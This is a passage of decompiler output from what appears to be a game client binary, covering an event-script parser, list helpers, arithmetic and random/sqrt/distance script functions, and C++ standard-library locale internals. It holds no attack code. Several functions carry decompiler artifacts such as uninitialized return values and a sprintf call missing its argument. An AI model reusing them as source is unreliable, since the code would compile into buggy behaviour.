this->ps_StackPoint = v1 - 1; result = 1; } else { result = 0; } return result; } //----- (0049D8C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScript::pes_Load(PineEventScript *this, char *fname, int *errline) { PineEventScript *v3; // esi@1 unsigned __int16 v4; // si@2 unsigned __int16 result; // ax@4 PineScriptReader::TokenReader tr; // [sp+4h] [bp-228h]@1 unsigned int v7; // [sp+21Ch] [bp-10h]@4 int v8; // [sp+228h] [bp-4h]@1 v3 = this; tr.tr_CharReader.cr_UngetBuffer = -1; tr.tr_CharReader.cr_fp = fopen(fname, "r"); tr.tr_CharReader.cr_Line = errline; *errline = 1; tr.tr_Buffer.pst_Buffer[0] = 0; tr.tr_UngetToken.pst_Buffer[0] = 0; tr.tr_Line = errline; v8 = 0; if ( (_DWORD)tr.tr_CharReader.cr_fp ) { v4 = v3->pes_Script.baseclass_0.vfptr->sa_Load((PineEventScriptNode::ScriptAtom *)v3, &tr); if ( (_DWORD)tr.tr_CharReader.cr_fp ) fclose(tr.tr_CharReader.cr_fp); } __security_check_cookie(v7); return result; } //----- (0049D990) -------------------------------------------------------- void __thiscall PineEventScriptNode::AutoRegList::AutoRegList(PineEventScriptNode::AutoRegList *this, PineEventScriptNode::StatementBase *pScript) { if ( ps_statementlist.sl_Point < 0x80u ) ps_statementlist.sl_Array[ps_statementlist.sl_Point++] = pScript; else AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); } //----- (0049D9E0) -------------------------------------------------------- void __thiscall std::basic_ios>::_basic_ios>(std::basic_ios > *this) { this->baseclass_0.vfptr = (std::ios_baseVtbl *)&std::basic_ios>::_vftable_; std::ios_base::_ios_base(&this->baseclass_0); } // 5BD8FC: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); //----- (0049D9F0) -------------------------------------------------------- void __thiscall std::basic_istream>::_basic_istream>(std::basic_istream > *this) { *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 2) + 4) - 8) = std::basic_istream>::_vftable_; } // 5BD900: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); //----- (0049DA00) -------------------------------------------------------- void __thiscall std::basic_iostream>::_basic_iostream>(std::basic_iostream > *this) { char *v1; // eax@2 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 3) + 4) - 12) = &std::basic_iostream>::_vftable_; if ( this == (std::basic_iostream > *)12 ) v1 = 0; else v1 = (char *)this - 4; *(_DWORD *)&v1[*(_DWORD *)(*(_DWORD *)v1 + 4)] = &std::basic_ostream>::_vftable_; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 3) + 4) - 12) = std::basic_istream>::_vftable_; } // 5BD8F8: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); // 5BD900: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 5BD904: using guessed type int (__stdcall *std__basic_iostream_char_std__char_traits_char_____vftable_)(char); //----- (0049DA40) -------------------------------------------------------- void *__thiscall std::basic_ios>::_scalar_deleting_destructor_(std::basic_ios > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049DA60) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_Tidy(std::basic_stringbuf,std::allocator > *this) { std::basic_stringbuf,std::allocator > *v1; // esi@1 int v2; // eax@3 v1 = this; if ( this->_Mystate & 1 ) operator delete(*(void **)this->baseclass_0._IGfirst); *v1->baseclass_0._IGfirst = 0; *v1->baseclass_0._IGnext = 0; *v1->baseclass_0._IGcount = 0; *v1->baseclass_0._IPfirst = 0; *v1->baseclass_0._IPnext = 0; *v1->baseclass_0._IPcount = 0; v2 = v1->_Mystate & 0xFFFFFFFE; v1->_Seekhigh = 0; v1->_Mystate = v2; } //----- (0049DAC0) -------------------------------------------------------- void __thiscall std::basic_streambuf>::_Init(std::basic_streambuf > *this) { this->_IGnext = &this->_Gnext; this->_IPnext = &this->_Pnext; this->_IGfirst = &this->_Gfirst; this->_IGcount = &this->_Gcount; this->_IPfirst = &this->_Pfirst; this->_IPcount = &this->_Pcount; this->_Pfirst = 0; *this->_IPnext = 0; *this->_IPcount = 0; *this->_IGfirst = 0; *this->_IGnext = 0; *this->_IGcount = 0; } //----- (0049DB20) -------------------------------------------------------- void __thiscall std::basic_ostream>::_Sentry_base::__Sentry_base(std::basic_istream >::sentry *this) { int v1; // eax@1 v1 = *(_DWORD *)&this->baseclass_0._Myistr->gap8[*(_DWORD *)(*(_DWORD *)&this->baseclass_0._Myistr->gap0[0] + 4) + 32]; if ( v1 ) std::_Mutex::_Unlock((std::_Mutex *)(v1 + 4)); } //----- (0049DB40) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Statement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { *(_DWORD *)(v3 + 4) = ele->s_Statement; result = 1; } else { result = 0; } return result; } //----- (0049DB70) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, PineEventScriptNode::Statement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->s_Statement = v2[(unsigned __int16)v3].ls_Content->s_Statement; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (0049DBC0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Statement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->s_Statement = v2[(unsigned __int16)v3].ls_Content->s_Statement; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (0049DC10) -------------------------------------------------------- CardDeck::Card *__thiscall List::l_GetInList(List *this, unsigned __int16 order, unsigned __int16 *handle) { unsigned __int16 v3; // dx@1 CardDeck::Card *result; // eax@2 void *v5; // eax@3 int v6; // esi@5 unsigned __int16 v7; // dx@6 v3 = this->l_Finger.store; if ( v3 == this->l_MaxSize ) { v5 = handle; if ( !handle ) v5 = &handle; v6 = 0; *(_WORD *)v5 = this->l_Array[v3].ls_Next; if ( order ) { while ( 1 ) { v7 = this->l_Array[*(_WORD *)v5].ls_Next; *(_WORD *)v5 = v7; if ( v7 >= this->l_MaxSize ) break; ++v6; if ( (unsigned __int16)v6 >= order ) goto LABEL_8; } result = 0; } else { LABEL_8: result = this->l_Array[*(_WORD *)v5].ls_Content; } } else { result = 0; } return result; } //----- (0049DC90) -------------------------------------------------------- ORTable *__thiscall List::l_AllocA(List *this, unsigned __int16 hnd) { ORTable *result; // eax@2 ListStruct *v3; // esi@3 int v4; // eax@3 unsigned __int16 v5; // bx@5 unsigned __int16 v6; // di@9 ListStruct *v7; // esi@9 if ( hnd < this->l_MaxSize ) { v3 = this->l_Array; v4 = hnd; if ( v3[v4].ls_IsActiv ) { result = 0; } else { v5 = v3[v4].ls_Next; if ( v5 == hnd ) { this->l_Finger.empty = -1; } else { v3[v3[v4].ls_Prev].ls_Next = v5; this->l_Array[this->l_Array[v4].ls_Next].ls_Prev = this->l_Array[v4].ls_Prev; if ( this->l_Finger.empty == hnd ) this->l_Finger.empty = this->l_Array[v4].ls_Next; } v6 = this->l_Finger.store; v7 = this->l_Array; if ( v6 == -1 ) { v7[v4].ls_Next = hnd; this->l_Array[v4].ls_Prev = hnd; this->l_Finger.store = hnd; } else { v7[v4].ls_Next = v7[v6].ls_Next; this->l_Array[v4].ls_Prev = this->l_Finger.store; this->l_Array[this->l_Array[this->l_Finger.store].ls_Next].ls_Prev = hnd; this->l_Array[this->l_Finger.store].ls_Next = hnd; } this->l_Array[v4].ls_IsActiv = 1; ++this->l_ListNum; result = this->l_Array[v4].ls_Content; } } else { result = 0; } return result; } //----- (0049DD80) -------------------------------------------------------- void __thiscall std::ctype::ctype(std::ctype *this, const __int16 *_Table, bool _Deletetable, unsigned int _Refs) { std::ctype *v4; // esi@1 _Ctypevec *v5; // eax@1 int v6; // eax@2 _Ctypevec result; // [sp+4h] [bp-90h]@1 std::_Locinfo thisa; // [sp+14h] [bp-80h]@1 int v9; // [sp+90h] [bp-4h]@1 v4 = this; this->baseclass_0.baseclass_0._Refs = _Refs; v9 = 0; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::ctype::_vftable_; std::_Locinfo::_Locinfo(&thisa, "C"); v5 = _Getctype(&result); v4->_Ctype._Hand = v5->_Hand; v4->_Ctype._Page = v5->_Page; v4->_Ctype._Table = v5->_Table; v4->_Ctype._Delfl = v5->_Delfl; std::_Locinfo::__Locinfo(&thisa); if ( _Table ) { v6 = v4->_Ctype._Delfl; if ( v6 <= 0 ) { if ( v6 < 0 ) operator delete__((void *)v4->_Ctype._Table); } else { free((void *)v4->_Ctype._Table); } v4->_Ctype._Table = _Table; v4->_Ctype._Delfl = -(_Deletetable != 0); } } // 5BD940: using guessed type int (__thiscall *std__ctype_char____vftable_)(void *p, char); //----- (0049DE60) -------------------------------------------------------- char __thiscall std::ctype::do_tolower(std::ctype *this, char _Ch) { return _Tolower((unsigned __int8)_Ch, &this->_Ctype); } //----- (0049DE80) -------------------------------------------------------- const char *__thiscall std::ctype::do_tolower(std::ctype *this, char *_First, const char *_Last) { int *v3; // esi@1 _Ctypevec *v4; // edi@2 v3 = (int *)_First; if ( _First != _Last ) { v4 = &this->_Ctype; do { *(_BYTE *)v3 = _Tolower(*(_BYTE *)v3, v4); v3 = (int *)((char *)v3 + 1); } while ( (const char *)v3 != _Last ); } return (const char *)v3; } //----- (0049DEB0) -------------------------------------------------------- char __thiscall std::ctype::do_toupper(std::ctype *this, char _Ch) { return _Toupper((unsigned __int8)_Ch, &this->_Ctype); } //----- (0049DED0) -------------------------------------------------------- const char *__thiscall std::ctype::do_toupper(std::ctype *this, char *_First, const char *_Last) { int *v3; // esi@1 _Ctypevec *v4; // edi@2 v3 = (int *)_First; if ( _First != _Last ) { v4 = &this->_Ctype; do { *(_BYTE *)v3 = _Toupper(*(_BYTE *)v3, v4); v3 = (int *)((char *)v3 + 1); } while ( (const char *)v3 != _Last ); } return (const char *)v3; } //----- (0049DF00) -------------------------------------------------------- char __thiscall std::ctype::do_widen(std::ctype *this, char _Byte) { return _Byte; } //----- (0049DF10) -------------------------------------------------------- const char *__thiscall std::ctype::do_widen(std::ctype *this, const char *_First, const char *_Last, char *_Dest) { const char *result; // eax@1 result = _Last; memcpy(_Dest, _First, _Last - _First); return result; } //----- (0049DF40) -------------------------------------------------------- char __thiscall std::ctype::do_narrow(std::ctype *this, char _Ch, char __formal) { return _Ch; } //----- (0049DF50) -------------------------------------------------------- const char *__thiscall std::ctype::do_narrow(std::ctype *this, const char *_First, const char *_Last, char __formal, char *_Dest) { const char *result; // eax@1 result = _Last; memcpy(_Dest, _First, _Last - _First); return result; } //----- (0049DF80) -------------------------------------------------------- unsigned int __cdecl std::ctype::_Getcat(std::locale::facet **_Ppf) { void *v1; // eax@3 std::locale::facet *v2; // eax@4 if ( _Ppf && !*_Ppf ) { v1 = operator new(0x18u); if ( v1 ) std::ctype::ctype((std::ctype *)v1, 0, 0, 0); else v2 = 0; *_Ppf = v2; } return 2; } //----- (0049DFF0) -------------------------------------------------------- void *__thiscall std::ctype::_vector_deleting_destructor_(std::ctype *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ctype::_ctype(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049E010) -------------------------------------------------------- void __thiscall std::ctype::_ctype(std::ctype *this) { std::ctype *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = this->_Ctype._Delfl; this->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::ctype::_vftable_; if ( v2 <= 0 ) { if ( v2 < 0 ) operator delete__((void *)this->_Ctype._Table); v1->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } else { free((void *)this->_Ctype._Table); v1->baseclass_0.baseclass_0.vfptr = (std::locale::facetVtbl *)&std::locale::facet::_vftable_; } } // 5BD940: using guessed type int (__thiscall *std__ctype_char____vftable_)(void *p, char); // 5E873C: using guessed type int (__thiscall *std__locale__facet___vftable_)(void *p, char); //----- (0049E050) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_MergeString(PineScriptToken *this, char *str) { PineScriptToken *result; // eax@1 char *v3; // ecx@1 char v4; // dl@2 PineScriptToken n; // [sp+8h] [bp-104h]@2 result = this; v3 = str; do { v4 = *v3; v3[(char *)&n - str] = *v3; ++v3; } while ( v4 ); strcat(result->pst_Buffer, n.pst_Buffer); return result; } //----- (0049E0C0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_MergeNumber(PineScriptToken *this, int num) { char *v2; // ebx@1 PineScriptToken n; // [sp+Ch] [bp-104h]@1 v2 = (char *)this; sprintf(n.pst_Buffer, "%d"); return (PineScriptToken *)strcat(v2, n.pst_Buffer); } //----- (0049E140) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 + v3); } //----- (0049E170) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 - v3); } //----- (0049E1A0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // esi@1 int v3; // edi@1 int v4; // eax@1 PineScriptToken *v5; // ecx@1 v2 = this; v3 = PineScriptToken::pst_GetNumber(sst, 0); v4 = PineScriptToken::pst_GetNumber(v2, 1u); return PineScriptToken::pst_MergeNumber(v5, v4 * v3); } //----- (0049E1D0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *v2; // edi@1 PineScriptToken *result; // eax@1 PineScriptToken *v4; // esi@1 int v5; // eax@2 PineScriptToken *v6; // ecx@2 v2 = this; result = (PineScriptToken *)PineScriptToken::pst_GetNumber(sst, 0); v4 = result; if ( result ) { v5 = PineScriptToken::pst_GetNumber(v2, 1u); result = PineScriptToken::pst_MergeNumber(v6, v5 / (signed int)v4); } return result; } //----- (0049E210) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncRand::sfb_Calculate(PineEventScriptNode::SysFuncRand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@2 int v5; // ebx@4 PineScriptToken *v6; // eax@5 signed int v7; // edi@7 int v8; // eax@7 buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v4 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v4 = buffer; v5 = PineScriptToken::pst_GetNumber(v4, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[1] ) v6 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[1]->vfptr->sa_Calculate)( buffer, ps); else v6 = buffer; v7 = 1 - v5 + PineScriptToken::pst_GetNumber(v6, 0); buffer->pst_Buffer[0] = 0; v8 = rand(); return PineScriptToken::pst_MergeNumber(buffer, v5 + v8 % v7); } //----- (0049E290) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncSQRT::sfb_Calculate(PineEventScriptNode::SysFuncSQRT *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // esi@1 PineScriptToken *v5; // eax@2 int buffera; // [sp+8h] [bp+4h]@4 v4 = buffer; buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v5 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v5 = buffer; buffera = PineScriptToken::pst_GetNumber(v5, 0); v4->pst_Buffer[0] = 0; return PineScriptToken::pst_MergeNumber(v4, (unsigned __int64)sqrt((double)buffera)); } //----- (0049E2E0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncDistance::sfb_Calculate(PineEventScriptNode::SysFuncDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // esi@1 PineScriptToken *v5; // eax@2 int v6; // ebp@4 PineScriptToken *v7; // eax@5 int v8; // ebx@7 PineScriptToken *v9; // eax@8 PineScriptToken *v10; // eax@11 int v11; // eax@13 int buffera; // [sp+20h] [bp+4h]@10 v4 = buffer; buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[0] ) v5 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[0]->vfptr->sa_Calculate)( buffer, ps); else v5 = buffer; v6 = PineScriptToken::pst_GetNumber(v5, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[1] ) v7 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[1]->vfptr->sa_Calculate)( buffer, ps); else v7 = buffer; v8 = PineScriptToken::pst_GetNumber(v7, 0); buffer->pst_Buffer[0] = 0; if ( argumentlist->al_Express[2] ) v9 = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))argumentlist->al_Express[2]->vfptr->sa_Calculate)( buffer, ps); else v9 = buffer; buffera = PineScriptToken::pst_GetNumber(v9, 0); v4->pst_Buffer[0] = 0; if ( argumentlist->al_Express[3] ) v10 = argumentlist->al_Express[3]->vfptr->sa_Calculate(argumentlist->al_Express[3], v4, ps); else v10 = v4; v11 = PineScriptToken::pst_GetNumber(v10, 0); v4->pst_Buffer[0] = 0; return PineScriptToken::pst_MergeNumber( v4, (unsigned __int64)sqrt((double)((v6 - buffera) * (v6 - buffera) + (v8 - v11) * (v8 - v11)))); } //----- (0049E3D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SystemFunction::SystemFunction(PineEventScriptNode::SystemFunction *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::SystemFunction::_vftable_; this->sfm_ArgumentList.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ArgumentList::_vftable_; this->sfm_ArgumentList.al_Express[0] = 0; this->sfm_ArgumentList.al_Express[1] = 0; this->sfm_ArgumentList.al_Express[2] = 0; this->sfm_ArgumentList.al_Express[3] = 0; this->sfm_ArgumentList.al_Express[4] = 0; this->sfm_ArgumentList.al_Express[5] = 0; this->sfm_ArgumentList.al_Express[6] = 0; this->sfm_ArgumentList.al_Express[7] = 0; this->sfm_ArgumentList.al_Express[8] = 0; this->sfm_ArgumentList.al_Express[9] = 0; this->sfm_Function = (PineEventScriptNode::SysFuncBase *)sysfuncbase; } // 5BD804: using guessed type int (__stdcall *PineEventScriptNode__ArgumentList___vftable_)(int tr); // 5BD968: using guessed type int (__stdcall *PineEventScriptNode__SystemFunction___vftable_)(int tr); // 610218: using guessed type int (__stdcall *(*sysfuncbase[2])[26])(int buffer, int ps, int argumentlist); //----- (0049E410) -------------------------------------------------------- void __thiscall PineEventScriptNode::Term::_Term(PineEventScriptNode::Term *this) { PineEventScriptNode::Term *v1; // esi@1 PineEventScriptNode::Term *v2; // edi@1 PineEventScriptNode::ScriptAtom *v3; // eax@3 void *v4; // ST00_4@4 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; v2 = this->t_Term; if ( v2 ) { PineEventScriptNode::Term::_Term(v2); operator delete(v2); } v3 = v1->t_Atom; if ( v3 ) { v4 = v1->t_Atom; v3->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v4); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); //----- (0049E480) -------------------------------------------------------- void __thiscall PineEventScriptNode::Express::Express(PineEventScriptNode::Express *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->e_Term.t_Atom = 0; this->e_Term.t_Term = 0; this->e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->e_Oper.co_Oper.pst_Buffer[0] = 0; this->e_Oper.co_OperType = 0; this->e_Express = 0; } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (0049E4B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Express::_Express(PineEventScriptNode::Express *this) { PineEventScriptNode::Express *v1; // esi@1 PineEventScriptNode::Express *v2; // edi@1 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; v2 = this->e_Express; if ( v2 ) { PineEventScriptNode::Express::_Express(v2); operator delete(v2); } v1->e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; PineEventScriptNode::Term::_Term(&v1->e_Term); v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (0049E530) -------------------------------------------------------- void __thiscall PineEventScriptNode::Condition::Condition(PineEventScriptNode::Condition *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Condition::_vftable_; this->c_Left.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->c_Left.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->c_Left.e_Term.t_Atom = 0; this->c_Left.e_Term.t_Term = 0; this->c_Left.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->c_Left.e_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Left.e_Oper.co_OperType = 0; this->c_Left.e_Express = 0; this->c_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CompareOperator::_vftable_; this->c_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Oper.co_OperType = 0; this->c_Right.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->c_Right.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->c_Right.e_Term.t_Atom = 0; this->c_Right.e_Term.t_Term = 0; this->c_Right.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->c_Right.e_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Right.e_Oper.co_OperType = 0; this->c_Right.e_Express = 0; } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD74C: using guessed type int (__thiscall *PineEventScriptNode__CompareOperator___vftable_)(PineEventScriptNode::CompareOperator *this, int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5BD988: using guessed type int (__stdcall *PineEventScriptNode__Condition___vftable_)(int tr); //----- (0049E5C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Condition::_Condition(PineEventScriptNode::Condition *this) { PineEventScriptNode::Condition *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Condition::_vftable_; PineEventScriptNode::Express::_Express(&this->c_Right); v1->c_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; PineEventScriptNode::Express::_Express(&v1->c_Left); v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD988: using guessed type int (__stdcall *PineEventScriptNode__Condition___vftable_)(int tr); //----- (0049E630) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateIf::StateIf(PineEventScriptNode::StateIf *this) { PineEventScriptNode::StateIf *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition(&this->si_Condition); v1->si_False = 0; v1->si_True = 0; } // 5BD998: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); //----- (0049E660) -------------------------------------------------------- PineEventScriptNode::Block *__thiscall PineEventScriptNode::Script::sa_FindBlock(PineEventScriptNode::Script *this, PineScriptToken *blkname) { List *v2; // edi@1 ListStruct *v3; // ecx@1 unsigned __int16 v4; // ax@1 unsigned __int16 i; // bx@1 int v6; // eax@3 int v7; // ebp@4 v2 = this->s_BlockList; v3 = v2->l_Array; v4 = v3[v2->l_Finger.store].ls_Next; for ( i = v3[v3[v2->l_Finger.store].ls_Next].ls_Next; v4 < v2->l_MaxSize; i = v2->l_Array[i].ls_Next ) { v6 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v6 + 8) ) break; v7 = *(_DWORD *)v6; if ( !*(_DWORD *)v6 ) break; if ( blkname && !strcmp((const char *)(v7 + 12), blkname->pst_Buffer) ) return (PineEventScriptNode::Block *)v7; if ( i >= v2->l_MaxSize ) break; v4 = i; } return 0; } //----- (0049E710) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateIf::sb_CloneMe(PineEventScriptNode::StateIf *this) { void *v1; // eax@1 void *v2; // esi@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x350u); v2 = v1; if ( v1 ) { *(_DWORD *)v1 = &PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition((PineEventScriptNode::Condition *)((char *)v1 + 4)); *((_DWORD *)v2 + 211) = 0; *((_DWORD *)v2 + 210) = 0; result = (PineEventScriptNode::StatementBase *)v2; } else { result = 0; } return result; } // 5BD998: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); //----- (0049E750) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateCall::sb_CloneMe(PineEventScriptNode::StateCall *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x124u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateCall::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; result[2].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; result[4].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; result[5].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; LOBYTE(result[6].baseclass_0.vfptr) = 0; result[70].baseclass_0.vfptr = 0; result[71].baseclass_0.vfptr = 0; result[72].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5BD73C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5BD814: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5BD978: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5BD9AC: using 